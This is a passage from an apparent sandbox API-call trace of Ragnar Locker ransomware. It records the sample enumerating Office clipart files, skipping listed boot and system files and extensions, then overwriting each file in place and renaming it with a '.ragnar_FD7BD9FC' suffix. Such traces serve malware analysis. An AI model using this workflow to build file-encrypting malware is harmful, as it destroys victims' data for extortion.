Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0081.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.991] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3252) returned 1 [0081.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.991] GetProcessHeap () returned 0x580000 [0081.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.991] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.992] VirtualAlloc (lpAddress=0x0, dwSize=0xcb4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.992] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.992] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.992] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcb4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcb4, lpOverlapped=0x0) returned 1 [0081.993] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.993] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcb4, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.993] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcb4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcb4, lpOverlapped=0x0) returned 1 [0081.993] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcb4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.993] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.993] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.993] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.993] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.993] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.993] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.993] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.993] GetProcessHeap () returned 0x580000 [0081.993] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.993] CloseHandle (hObject=0xf4) returned 1 [0081.994] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" [0081.994] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.ragnar_FD7BD9FC" [0081.994] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0081.994] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.994] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EAST_01.MID" | out: lpString1="EAST_01.MID") returned="EAST_01.MID" [0081.994] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned=".MID" [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="autorun.inf") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="boot.ini") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="bootfont.bin") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="bootsect.bak") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="bootmgr") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="bootmgr.efi") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="bootmgfw.efi") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="desktop.ini") returned 1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="iconcache.db") returned -1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="ntldr") returned -1 [0081.994] lstrcmpiW (lpString1="EAST_01.MID", lpString2="ntuser.dat") returned -1 [0081.995] lstrcmpiW (lpString1="EAST_01.MID", lpString2="ntuser.dat.log") returned -1 [0081.995] lstrcmpiW (lpString1="EAST_01.MID", lpString2="ntuser.ini") returned -1 [0081.995] lstrcmpiW (lpString1="EAST_01.MID", lpString2="thumbs.db") returned -1 [0081.995] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0081.995] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0081.995] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0081.995] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0081.995] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0081.995] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0081.995] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0081.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0081.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.995] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6165) returned 1 [0081.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x180c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.995] GetProcessHeap () returned 0x580000 [0081.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.995] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.997] VirtualAlloc (lpAddress=0x0, dwSize=0x1815, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.997] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1815, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1815, lpOverlapped=0x0) returned 1 [0081.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.997] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1815, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.997] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1815, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1815, lpOverlapped=0x0) returned 1 [0081.998] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1815, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.998] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.998] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1815, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.998] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.998] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.998] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.998] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.998] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.998] GetProcessHeap () returned 0x580000 [0081.998] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.998] CloseHandle (hObject=0xf4) returned 1 [0081.998] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" [0081.998] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.ragnar_FD7BD9FC" [0081.998] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0081.999] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.999] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ED00010_.WMF" | out: lpString1="ED00010_.WMF") returned="ED00010_.WMF" [0081.999] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned=".WMF" [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="autorun.inf") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="boot.ini") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="bootfont.bin") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="bootsect.bak") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="bootmgr") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="bootmgr.efi") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="desktop.ini") returned 1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="iconcache.db") returned -1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="ntldr") returned -1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="ntuser.dat") returned -1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="ntuser.ini") returned -1 [0081.999] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="thumbs.db") returned -1 [0081.999] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.999] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.999] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.999] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.999] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.000] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.000] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0082.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.000] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1382) returned 1 [0082.000] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x55d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.000] GetProcessHeap () returned 0x580000 [0082.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.000] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.002] VirtualAlloc (lpAddress=0x0, dwSize=0x566, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.002] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x566, lpOverlapped=0x0) returned 1 [0082.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.002] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x566, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.002] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x566, lpOverlapped=0x0) returned 1 [0082.002] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x566, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.002] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x566, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.002] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.002] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.003] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.003] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.003] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.003] GetProcessHeap () returned 0x580000 [0082.003] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.003] CloseHandle (hObject=0xf4) returned 1 [0082.003] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" [0082.003] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.ragnar_FD7BD9FC" [0082.003] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0082.003] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.004] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ED00019_.WMF" | out: lpString1="ED00019_.WMF") returned="ED00019_.WMF" [0082.004] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned=".WMF" [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="autorun.inf") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="boot.ini") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="bootfont.bin") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="bootsect.bak") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="bootmgr") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="bootmgr.efi") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="desktop.ini") returned 1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="iconcache.db") returned -1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="ntldr") returned -1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="ntuser.dat") returned -1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="ntuser.ini") returned -1 [0082.004] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="thumbs.db") returned -1 [0082.004] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.004] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.004] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.004] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.004] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.004] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.004] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0082.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.005] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13042) returned 1 [0082.005] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.005] GetProcessHeap () returned 0x580000 [0082.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.005] 